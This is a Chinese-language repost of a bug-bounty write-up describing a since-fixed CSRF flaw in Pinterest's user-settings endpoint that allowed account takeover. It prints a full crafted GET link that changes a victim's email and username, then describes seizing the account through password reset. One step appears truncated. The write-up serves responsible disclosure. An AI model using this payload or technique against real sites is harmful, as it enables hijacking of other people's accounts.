这是我往Bugcrowd上Pinterest(著名照片存储展示网站)漏洞悬赏项目所上报的一个漏洞。目前,Pinterest安全团队已经修复完成,并允许我发布漏洞详情。
这是一个简单的CSRF漏洞,但可以修改任何用户的电子邮件ID和用户名,从而导致帐户被攻击者接管。此漏洞所造成的影响非常严重,因为Pinterest的每月活跃用户达2.5亿。
注意:以下所有帐户均为测试帐户
我在浏览“https://www.pinterest.com”时,注意到CSRF令牌是通过HTTP请求头“X-CSRFToken”传递的。因此,为了测试请求中所使用的CSRF令牌,我抓取了在浏览页面时所发出的某个POST请求,并对这个HTTP请求做了些许修改,原请求如下。
POST /_ngjs/resource/UserSettingsResource/update/ HTTP/1.1 Host: www.pinterest.com Content-Type: application/x-www-form-urlencoded X-CSRFToken: <CSRF Token> …… …… <POST Parameters>
/resource/UserSettingsResource/update/ 没有在8秒内完成
,这意味着CSRF令牌验证不通过。从上我们可以得知,将POST请求转换为GET请求时,服务器不会去验证CSRF令牌。
注意:这是一个CSRF的影响范围很广,修复前的大多数网站请求都会受此影响。
由于我从上一步得到了一个基于GET的CSRF,所以我们接下去需要做的就是创建一个如下所示的链接(可以使用burpsuite中的“change request method”来创建此链接):
https://www.pinterest.com/_ngjs/resource/UserSettingsResource/update/?source_url=%2Fsettings%2F&data=%7B%22options%22%3A%7B%22impressum_url%22%3Anull%2C%22last_name%22%3A%22dummy%22%2C%22custom_gender%22%3Anull%2C%22locale%22%3A%22en-US%22%2C%22has_password%22%3Atrue%2C%22email_settings%22%3A%22Everything+%28except+emails+you%27ve+turned+off%29%22%2C%22news_settings%22%3A%22Activity+from+other+people+on+Pinterest%22%2C%22id%22%3A%22%22%2C%22is_write_banned%22%3Afalse%2C%22first_name%22%3A%22dummyuser%22%2C%22push_settings%22%3A%22Everything+%28except+push+you%27ve+turned+off%29%22%2C%22personalize_from_offsite_browsing%22%3Atrue%2C%22facebook_timeline_enabled%22%3Afalse%2C%22email_changing_to%22%3Anull%2C%22personalize_nux_from_offsite_browsing%22%3Afalse%2C%22is_tastemaker%22%3Afalse%2C%22type%22%3A%22user_settings%22%2C%22email%22%3A%22anytestemail%40user.com%22%2C%22website_url%22%3A%22%22%2C%22location%22%3A%22%22%2C%22username%22%3A%22dummyuser%22%2C%22pfy_preference%22%3Atrue%2C%22facebook_publish_stream_enabled%22%3Afalse%2C%22email_bounced%22%3Afalse%2C%22is_partner%22%3Anull%2C%22ads_customize_from_conversion%22%3Atrue%2C%22additional_website_urls%22%3A%5B%5D%2C%22about%22%3A%22test%22%2C%22gender%22%3A%22male%22%2C%22age%22%3Anull%2C%22exclude_from_search%22%3Afalse%2C%22birthdate%22%3Anull%2C%22show_impressum%22%3Afalse%2C%22email_biz_settings%22%3A%22Everything+%28includes+announcements%2C+expert+tips%2C+creative+ideas%2C+and+more%29%22%2C%22country%22%3A%22IN%22%2C%22hide_from_news%22%3Afalse%2C%22collaborative_boards%22%3A%5B%5D%7D%2C%22context%22%3A%7B%7D%7D
当用户单击上述链接时,其用户名和电子邮件ID分别会被更改为“dummyuser”和“anytesteemail@user.com”(其中电子邮件ID“anytesteemail@user.com”是在我的控制下)。你也可以在上述链接看到email%22%3A%22anytestemail%40user.com
和username%22%3A%22dummyuser
CSRF攻击成功后,我通过以下链接就能重置帐户密码:
https://www.pinterest.com/password/reset/
我将电子邮件ID“anytesteemail@user.com”输入进去,发送给服务器,然后我就会从Pinterest收到了一封电子邮件,里面有一个密码重置链接(“anytesteemail@user.com”代表我们上一步通过CSRF非法修改完成的用户的电子邮件id)。最后我使用这个密码重置链接重置密码,并能成功登录到用户的帐户。
最后,我还是要感谢Pinterest安全团队快速反馈,并允许我公开漏洞详情。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场 来源:http://infosecflash.com/2019/01/05/how-i-could-have-taken-over-any-pinterest-account/
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.